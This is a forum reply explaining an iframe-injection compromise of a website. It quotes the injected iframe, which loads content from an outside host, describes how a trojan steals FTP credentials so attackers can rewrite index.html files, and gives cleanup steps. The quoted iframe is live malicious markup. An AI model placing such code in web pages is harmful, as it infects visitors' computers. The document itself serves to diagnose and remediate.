I got a report of a trojan with Avast as well...
The cause of the warning was this line of code on your site...
Code:
<iframe src="http://beeeo.ru:8080/index.php" width=524 height=325 ></iframe>
If it is the same type of iframe injection attack I saw about a month ago you got a lot of work to do to clean it up... Here are instructions I wrote and posted on another site at that time...
The problem originates from your own computer...
Here are the events that take place...
1. You inadvertantly download a trojan to your computer
2. This trojan watched for you to use an ftp client
3. This trojan steals your username and password
4. Sometime in the middle of the night whoever now has your password modifies all of your index.html with an iframe that contains more malicious code just waiting to infect more computers.
5. Someone visits your site and now has the trojan on their computer
Here is how you fix the problem...
1. Immediately close your website temporarily to prevent more people from getting infected and scan and remove viruses from your computer ( I recommend a windows install as these trojans can hide very well)
2. Change all of your hosting passwords only after the virus is removed otherwise it may be transmitted to the weasels again (cpanel, ftp, emails)
3. If you have a backup of your site re-upload the entire site (If you do not remove all of the malware iframe codes - usually just the index.html files)